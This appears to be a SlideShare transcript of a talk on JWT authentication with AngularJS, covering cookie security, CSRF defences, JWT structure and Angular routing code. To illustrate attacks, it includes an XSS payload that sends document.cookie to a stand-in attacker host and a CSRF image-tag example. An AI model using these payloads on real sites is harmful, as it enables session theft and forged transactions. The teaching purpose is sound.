SlideShare a Scribd company logo

JWT Authentication with AngularJS

•Download as PPTX, PDF•
•
R
robertjd

This document discusses using JSON Web Tokens (JWT) for authentication with AngularJS. It begins with an overview of JWT, explaining that they are composed of a header, payload, and signature. The payload contains claims about the user like ID, expiration, and scope. JWTs can be issued by a server and verified by the signature without needing a database lookup. The document then discusses storing and transmitting JWTs securely in cookies rather than local storage due to cross-site scripting vulnerabilities. It provides examples of using JWTs to determine if a user is logged in and if they have access to a particular view in Angular using resolves, events, and checking the token payload.

Related slideshows

REST Service Authetication with TLS & JWTs
REST Service Authetication with TLS & JWTsREST Service Authetication with TLS & JWTs
REST Service Authetication with TLS & JWTs
 
Token Based Authentication Systems with AngularJS & NodeJS
Token Based Authentication Systems with AngularJS & NodeJSToken Based Authentication Systems with AngularJS & NodeJS
Token Based Authentication Systems with AngularJS & NodeJS
 
An Introduction to OAuth2
An Introduction to OAuth2An Introduction to OAuth2
An Introduction to OAuth2
 
1 of 62
JWT Authentication with AngularJS (or any other front-end framework) Robert Damphousse @robertjd_ Lead Front-End Developer, Stormpath
About Me • Full-stack developer 10 years • Full-stack with JavaScript since 2011 (Node.js + Angular) • Currently leading JavaScript at Stormpath
About Stormpath • Cloud-based User Identity API for Developers • Authentication and Authorization as-as-service • RESTful API • Active Directory, LDAP, and SAML Integration • Private Deployments (AWS) • Free plan for developers
Slideshare URL: http://goo.gl/AWaE5D
Talk Overview • Recap: Session Identifiers • Cookies, The Right Way ® • Introduction to JWT • Access Tokens & Refresh Tokens • Storing JWTs in the Browser • Angular specifics
Recap: Session Identifiers
Verify username & password Create a session ID, link to user Stores session ID in a cookie Recap: Session Identifiers
JWT Authentication with AngularJS
Session ID Concerns • They’re opaque and have no meaning (they’re just pointers). • Database heavy: session ID lookup on *every request*. • Cookies need to be secured to prevent session hijacking.
Cookies, The Right Way ®
Cookies, The Right Way ® Cookies can be easily compromised • Man-in-the-Middle (MITM) • Cross-Site Scripting (XSS) • Cross-Site Request Forgery (CSRF)
Man In The Middle (MITM) Attack Someone ‘listening on the wire’ between the browser and server can steal the cookie. Solutions • Use HTTPS/TLS everywhere a cookie will be in transit. • Set Secure flag on cookies.
Cross-Site Scripting (XSS)
XSS Attacks This is a very REAL problem Happens when attacker code is run inside a browser, on your domain. Can be used to steal your cookies!
XSS Attack Demo Source: https://www.google.com/about/appsecurity/learning/xss/#StoredXSS
XSS Attack Demo
XSS Attack Demo <img src=x onerror="document.body.appendChild(function (){var a = document.createElement('img'); a.src='https://hackmeplz.com/yourCookies.pn g/?cookies=’ +document.cookie;return a}())" So what if I put this in the chatbox..
XSS Attack Demo GET https://hackmeplz.com/yourCookies.png/?cook ies=SessionID=123412341234 Your browser is going to make this request: Which means..
JWT Authentication with AngularJS
XSS Attack – What Can I Do? Escape Content • Server-side: Use well-known, trusted libraries to ensure dynamic HTML does not contain executable code. Do NOT roll your own. • Client Side: Escape user input from forms (some frameworks do this for you, but read the docs for caveats!)
XSS Attack – What Can I Do? Use HTTPS-Only cookies Set the HttpOnly flag on your authentication cookies. HttpOnly cookies are NOT accessible by the JavaScript environment
XSS Attack – What Can I Do? XSS Resources: https://www.owasp.org/index.php/XSS https://www.google.com/about/appsecurity/lear ning/xss/
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) Exploits the fact that HTML tags do NOT follow the Same Origin Policy when making GET requests
Cross-Site Request Forgery (CSRF) Example: Attacker puts malicious image into a web page that the user visits: <img src=“https://trustyapp.com/transferMo ney?to=BadGuy&amount=10000”/> .. what happens?
Cross-Site Request Forgery (CSRF) • Browser sends cookies for trustyapp.com • Server trusts cookies AND assumes this was an intended user action • transfers the money!
Cross-Site Request Forgery (CSRF) The Solutions: • Synchronizer Token (for form-based apps) • Double-Submit Cookie (for modern apps)
Double Submit Cookie • Give client two cookies: (1) Session ID and (2) a strong random value • Client sends back the random value in a custom HTTP header, triggering the Same- Origin-Policy
http://myapp.com/login Login Username Password yo@foo.com ••••••••••••••• Login WWW Server (1) POST /login (2) 200 OK Set-Cookie: session=dh7jWkx8fj; Set-Cookie: xsrf-token=xjk2kzjn4; http://myapp.com/profile Kitsch mustache seitan, meggings Portland VHS ethical ugh. Messenger bag pour-over deep v semiotics, Portland before they sold out small batch slow-carb PBR PBR&B chia synth vegan bitters Brooklyn. (3) GET /profile (4) 200 OK Cookie: session=dh7jWkx8fj; xsrf-token=xjk2kzjn4 X-XSRF-Token: xjk2kzjn4; Hello, Yo Cookie == Header ?
WWW Server http://hackerzapp.com/ req.setHeader(‘X-XSRF- Token’,’stolen token’) BROWSER ERROR No 'Access-Control-Allow- XSRF-Token’ header is present on the requested resource. GET http://myapp.com/profile http://hackerzapp.com/ <img src=“https:// yoursite.com/ transferMoney? to=BadGuy&amount=10000”/> (1) GET /transferMoney? (2) 400 Invalid Token Server rejects forged requests, CSRF token header is missing Browser rejects forged cross-domain AJAX attempts Cookie: session=dh7jWkx8fj; xsrf-token=xjk2kzjn4 Cookie == Header ?
Cross-Site Request Forgery (CSRF) CSRF Resources: https://www.owasp.org/index.php/Cross- Site_Request_Forgery_(CSRF) https://developer.mozilla.org/en- US/docs/Web/Security/Same-origin_policy
An Introduction to JSON Web Tokens (JWTs)
Definitions Authentication is proving who you are. Authorization is being granted access to resources. Tokens are used to persist authentication and get authorization. JWT is a token format.
JSON Web Tokens (JWT) In the wild they look like just another ugly string: eyJ0eXAiOiJKV1QiLA0KICJhbGciOiJIUzI1NiJ9.eyJ pc3MiOiJqb2UiLA0KICJleHAiOjEzMDA4MTkzODAsDQo gImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnV lfQ.dBjftJeZ4CVPmB92K27uhbUJU1p1r_wW1gFWFOEj Xk
JSON Web Tokens (JWT) But they do have a three part structure. Each part is a Base64-URL encoded string: eyJ0eXAiOiJKV1QiLA0KICJhb GciOiJIUzI1NiJ9 . eyJpc3MiOiJqb2UiLA0KICJle HAiOjEzMDA4MTkzODAsDQogIm h0dHA6Ly9leGFtcGxlLmNvbS9 pc19yb290Ijp0cnVlfQ . dBjftJeZ4CVPmB92K27uhbUJU 1p1r_wW1gFWFOEjXk Header Body (‘Claims’) Cryptographic Signature
JSON Web Tokens (JWT) Base64-decode the parts to see the contents: { "typ":"JWT", "alg":"HS256" } { "iss”:”http://trustyapp.com/”, "exp": 1300819380, “sub”: ”users/8983462”, “scope”: “self api/buy” } tß´—™à%O˜v+nî…SZu¯µ€U…8H× Header Body (‘Claims’) Cryptographic Signature
JSON Web Tokens (JWT) The claims body is the best part! It asserts: { "iss": "http://trustyapp.com/", "exp": 1300819380, "sub": "users/8983462", "scope": "self api/buy" } Who issued the token When it expires Who it represents What they can do
Issuing & Verifying JWTs
Issuing JWTs • User has to present credentials to get a token (password, api keys). • Tokens are issued by your server, and signed with a secret key that is private. • The client stores the tokens, and uses them to authenticate requests.
Verifying JWTs • Just check the signature and expiration time! Stateless authentication! • Token declares scope, make authorization decisions locally. • But.. How to revoke stateless authentication?
OAuth2 + JWT Access & Refresh Tokens
Access & Refresh Tokens • Client is given an access and refresh token. • Access token expires before refresh token. • Refresh token is used to get more access tokens. • Access tokens are trusted by signature. • Refresh tokens are checked for revocation.
Whut?? Gives you time-based control over this tradeoff: stateless trust vs. database lookup.
Examples • Super-secure banking application (want to force user out often): • Access token TTL = 1 minutes • Refresh token TTL = 30 minutes • Mobile/social app (user should “always be logged in”) • Access token TTL = 1 hour • Refresh token TTL = 4 years (lifetime of mobile device)
Storing & Transmitting JWTs (in the browser)
Tradeoffs & Concerns • Local Storage is not secure (XSS vulnerable). • Cookies ARE secure, with HttpOnly, Secure flags, and CSRF prevention. • Using the Authorization header is fun but not really necessary. • Cross-domain requests are always hell.
Secure & Painless Tradeoffs (IMO, YMMV) • Use cookies with HttpOnly, Secure flags. • CSRF protection is easy to get right, XSS is easy to get wrong. • Don’t use the Authorization header • Not really needed. • Avoid cross-domain where possible • CORS is straightforward, but why have pain?
Authentication Logic, Using Cookies • Is there an access token cookie? Is it valid? (signature & expiration)? • Yes? Allow the request. • No? Try to get a new access token, using the refresh token. • Did that work? • Yes? Allow the request, send new access token on response as cookie. • No? Reject the request, delete refresh token cookie.
So… AngularJS?
JWT with AngularJS • How do I know if the user is logged in? • How do I know if the user can access a view? • How do I know if access has been revoked?
Is the user logged in? • Cookies can’t tell you this, if using HttpOnly. • Argument FOR putting token in local storage, so JS can inspect. Worth the XSS tradeoff?
Is the user logged in? • Request a /me route, which requires token authentication. • This route returns the user object. • Use a promise to return this object.
angular.module('myapp') .config(function($stateProvider) { $stateProvider .state('home', { url: '/', templateUrl: 'views/home.html', resolve: { user: function($auth) { return $auth.getUser(); } } }); }); UI Router Example
Is the user logged in? • UI Router: use $stateChangeError to handle failed user promise, direct to login view. • ngRoute: $routeChangeError
Is the user logged in? • Maintain $rootScope.user • null = we don’t know yet • false = not logged in • {} = we have the user’s data • Broadcast $authenticated event when user is known.
Can the user access this view? • Another argument for local token storage and inspection. But, XSS! • Otherwise, fetch scope from /me route.
$stateProvider .state('home', { url: '/', templateUrl: 'views/home.html', resolve: { user: function($auth) { return $auth.getUser() .then(function(user){ // can access resource? // return true/false }) } } }); UI Router Example
Has Access Been Revoked? • If you see a 401 from your API service, broadcast an $unauthenticated event. • Redirect to login view.
Fin
Recap • JWTs help with authentication and authorization architecture. • The are NOT a “security” add-on. • They’re a more magical session ID. • Store JWTs securely!
Thanks!
Use Stormpath for API Authentication & Security Our API and libraries give you a cloud-based user database and web application security in no time! Get started with your free Stormpath developer account: https://api.stormpath.com/register Questions? support@stormpath.com

More Related Content

JWT Authentication with AngularJS

  • 1. JWT Authentication with AngularJS (or any other front-end framework) Robert Damphousse @robertjd_ Lead Front-End Developer, Stormpath
  • 2. About Me • Full-stack developer 10 years • Full-stack with JavaScript since 2011 (Node.js + Angular) • Currently leading JavaScript at Stormpath
  • 3. About Stormpath • Cloud-based User Identity API for Developers • Authentication and Authorization as-as-service • RESTful API • Active Directory, LDAP, and SAML Integration • Private Deployments (AWS) • Free plan for developers
  • 5. Talk Overview • Recap: Session Identifiers • Cookies, The Right Way ® • Introduction to JWT • Access Tokens & Refresh Tokens • Storing JWTs in the Browser • Angular specifics
  • 7. Verify username & password Create a session ID, link to user Stores session ID in a cookie Recap: Session Identifiers
  • 9. Session ID Concerns • They’re opaque and have no meaning (they’re just pointers). • Database heavy: session ID lookup on *every request*. • Cookies need to be secured to prevent session hijacking.
  • 11. Cookies, The Right Way ® Cookies can be easily compromised • Man-in-the-Middle (MITM) • Cross-Site Scripting (XSS) • Cross-Site Request Forgery (CSRF)
  • 12. Man In The Middle (MITM) Attack Someone ‘listening on the wire’ between the browser and server can steal the cookie. Solutions • Use HTTPS/TLS everywhere a cookie will be in transit. • Set Secure flag on cookies.
  • 14. XSS Attacks This is a very REAL problem Happens when attacker code is run inside a browser, on your domain. Can be used to steal your cookies!
  • 15. XSS Attack Demo Source: https://www.google.com/about/appsecurity/learning/xss/#StoredXSS
  • 17. XSS Attack Demo <img src=x onerror="document.body.appendChild(function (){var a = document.createElement('img'); a.src='https://hackmeplz.com/yourCookies.pn g/?cookies=’ +document.cookie;return a}())" So what if I put this in the chatbox..
  • 20. XSS Attack – What Can I Do? Escape Content • Server-side: Use well-known, trusted libraries to ensure dynamic HTML does not contain executable code. Do NOT roll your own. • Client Side: Escape user input from forms (some frameworks do this for you, but read the docs for caveats!)
  • 21. XSS Attack – What Can I Do? Use HTTPS-Only cookies Set the HttpOnly flag on your authentication cookies. HttpOnly cookies are NOT accessible by the JavaScript environment
  • 22. XSS Attack – What Can I Do? XSS Resources: https://www.owasp.org/index.php/XSS https://www.google.com/about/appsecurity/lear ning/xss/
  • 24. Cross-Site Request Forgery (CSRF) Exploits the fact that HTML tags do NOT follow the Same Origin Policy when making GET requests
  • 25. Cross-Site Request Forgery (CSRF) Example: Attacker puts malicious image into a web page that the user visits: <img src=“https://trustyapp.com/transferMo ney?to=BadGuy&amount=10000”/> .. what happens?
  • 26. Cross-Site Request Forgery (CSRF) • Browser sends cookies for trustyapp.com • Server trusts cookies AND assumes this was an intended user action • transfers the money!
  • 27. Cross-Site Request Forgery (CSRF) The Solutions: • Synchronizer Token (for form-based apps) • Double-Submit Cookie (for modern apps)
  • 28. Double Submit Cookie • Give client two cookies: (1) Session ID and (2) a strong random value • Client sends back the random value in a custom HTTP header, triggering the Same- Origin-Policy
  • 29. http://myapp.com/login Login Username Password yo@foo.com ••••••••••••••• Login WWW Server (1) POST /login (2) 200 OK Set-Cookie: session=dh7jWkx8fj; Set-Cookie: xsrf-token=xjk2kzjn4; http://myapp.com/profile Kitsch mustache seitan, meggings Portland VHS ethical ugh. Messenger bag pour-over deep v semiotics, Portland before they sold out small batch slow-carb PBR PBR&B chia synth vegan bitters Brooklyn. (3) GET /profile (4) 200 OK Cookie: session=dh7jWkx8fj; xsrf-token=xjk2kzjn4 X-XSRF-Token: xjk2kzjn4; Hello, Yo Cookie == Header ?
  • 30. WWW Server http://hackerzapp.com/ req.setHeader(‘X-XSRF- Token’,’stolen token’) BROWSER ERROR No 'Access-Control-Allow- XSRF-Token’ header is present on the requested resource. GET http://myapp.com/profile http://hackerzapp.com/ <img src=“https:// yoursite.com/ transferMoney? to=BadGuy&amount=10000”/> (1) GET /transferMoney? (2) 400 Invalid Token Server rejects forged requests, CSRF token header is missing Browser rejects forged cross-domain AJAX attempts Cookie: session=dh7jWkx8fj; xsrf-token=xjk2kzjn4 Cookie == Header ?
  • 31. Cross-Site Request Forgery (CSRF) CSRF Resources: https://www.owasp.org/index.php/Cross- Site_Request_Forgery_(CSRF) https://developer.mozilla.org/en- US/docs/Web/Security/Same-origin_policy
  • 32. An Introduction to JSON Web Tokens (JWTs)
  • 33. Definitions Authentication is proving who you are. Authorization is being granted access to resources. Tokens are used to persist authentication and get authorization. JWT is a token format.
  • 34. JSON Web Tokens (JWT) In the wild they look like just another ugly string: eyJ0eXAiOiJKV1QiLA0KICJhbGciOiJIUzI1NiJ9.eyJ pc3MiOiJqb2UiLA0KICJleHAiOjEzMDA4MTkzODAsDQo gImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnV lfQ.dBjftJeZ4CVPmB92K27uhbUJU1p1r_wW1gFWFOEj Xk
  • 35. JSON Web Tokens (JWT) But they do have a three part structure. Each part is a Base64-URL encoded string: eyJ0eXAiOiJKV1QiLA0KICJhb GciOiJIUzI1NiJ9 . eyJpc3MiOiJqb2UiLA0KICJle HAiOjEzMDA4MTkzODAsDQogIm h0dHA6Ly9leGFtcGxlLmNvbS9 pc19yb290Ijp0cnVlfQ . dBjftJeZ4CVPmB92K27uhbUJU 1p1r_wW1gFWFOEjXk Header Body (‘Claims’) Cryptographic Signature
  • 36. JSON Web Tokens (JWT) Base64-decode the parts to see the contents: { "typ":"JWT", "alg":"HS256" } { "iss”:”http://trustyapp.com/”, "exp": 1300819380, “sub”: ”users/8983462”, “scope”: “self api/buy” } tß´—™à%O˜v+nî…SZu¯µ€U…8H× Header Body (‘Claims’) Cryptographic Signature
  • 37. JSON Web Tokens (JWT) The claims body is the best part! It asserts: { "iss": "http://trustyapp.com/", "exp": 1300819380, "sub": "users/8983462", "scope": "self api/buy" } Who issued the token When it expires Who it represents What they can do
  • 39. Issuing JWTs • User has to present credentials to get a token (password, api keys). • Tokens are issued by your server, and signed with a secret key that is private. • The client stores the tokens, and uses them to authenticate requests.
  • 40. Verifying JWTs • Just check the signature and expiration time! Stateless authentication! • Token declares scope, make authorization decisions locally. • But.. How to revoke stateless authentication?
  • 41. OAuth2 + JWT Access & Refresh Tokens
  • 42. Access & Refresh Tokens • Client is given an access and refresh token. • Access token expires before refresh token. • Refresh token is used to get more access tokens. • Access tokens are trusted by signature. • Refresh tokens are checked for revocation.
  • 43. Whut?? Gives you time-based control over this tradeoff: stateless trust vs. database lookup.
  • 44. Examples • Super-secure banking application (want to force user out often): • Access token TTL = 1 minutes • Refresh token TTL = 30 minutes • Mobile/social app (user should “always be logged in”) • Access token TTL = 1 hour • Refresh token TTL = 4 years (lifetime of mobile device)
  • 46. Tradeoffs & Concerns • Local Storage is not secure (XSS vulnerable). • Cookies ARE secure, with HttpOnly, Secure flags, and CSRF prevention. • Using the Authorization header is fun but not really necessary. • Cross-domain requests are always hell.
  • 47. Secure & Painless Tradeoffs (IMO, YMMV) • Use cookies with HttpOnly, Secure flags. • CSRF protection is easy to get right, XSS is easy to get wrong. • Don’t use the Authorization header • Not really needed. • Avoid cross-domain where possible • CORS is straightforward, but why have pain?
  • 48. Authentication Logic, Using Cookies • Is there an access token cookie? Is it valid? (signature & expiration)? • Yes? Allow the request. • No? Try to get a new access token, using the refresh token. • Did that work? • Yes? Allow the request, send new access token on response as cookie. • No? Reject the request, delete refresh token cookie.
  • 50. JWT with AngularJS • How do I know if the user is logged in? • How do I know if the user can access a view? • How do I know if access has been revoked?
  • 51. Is the user logged in? • Cookies can’t tell you this, if using HttpOnly. • Argument FOR putting token in local storage, so JS can inspect. Worth the XSS tradeoff?
  • 52. Is the user logged in? • Request a /me route, which requires token authentication. • This route returns the user object. • Use a promise to return this object.
  • 53. angular.module('myapp') .config(function($stateProvider) { $stateProvider .state('home', { url: '/', templateUrl: 'views/home.html', resolve: { user: function($auth) { return $auth.getUser(); } } }); }); UI Router Example
  • 54. Is the user logged in? • UI Router: use $stateChangeError to handle failed user promise, direct to login view. • ngRoute: $routeChangeError
  • 55. Is the user logged in? • Maintain $rootScope.user • null = we don’t know yet • false = not logged in • {} = we have the user’s data • Broadcast $authenticated event when user is known.
  • 56. Can the user access this view? • Another argument for local token storage and inspection. But, XSS! • Otherwise, fetch scope from /me route.
  • 57. $stateProvider .state('home', { url: '/', templateUrl: 'views/home.html', resolve: { user: function($auth) { return $auth.getUser() .then(function(user){ // can access resource? // return true/false }) } } }); UI Router Example
  • 58. Has Access Been Revoked? • If you see a 401 from your API service, broadcast an $unauthenticated event. • Redirect to login view.
  • 59. Fin
  • 60. Recap • JWTs help with authentication and authorization architecture. • The are NOT a “security” add-on. • They’re a more magical session ID. • Store JWTs securely!
  • 62. Use Stormpath for API Authentication & Security Our API and libraries give you a cloud-based user database and web application security in no time! Get started with your free Stormpath developer account: https://api.stormpath.com/register Questions? support@stormpath.com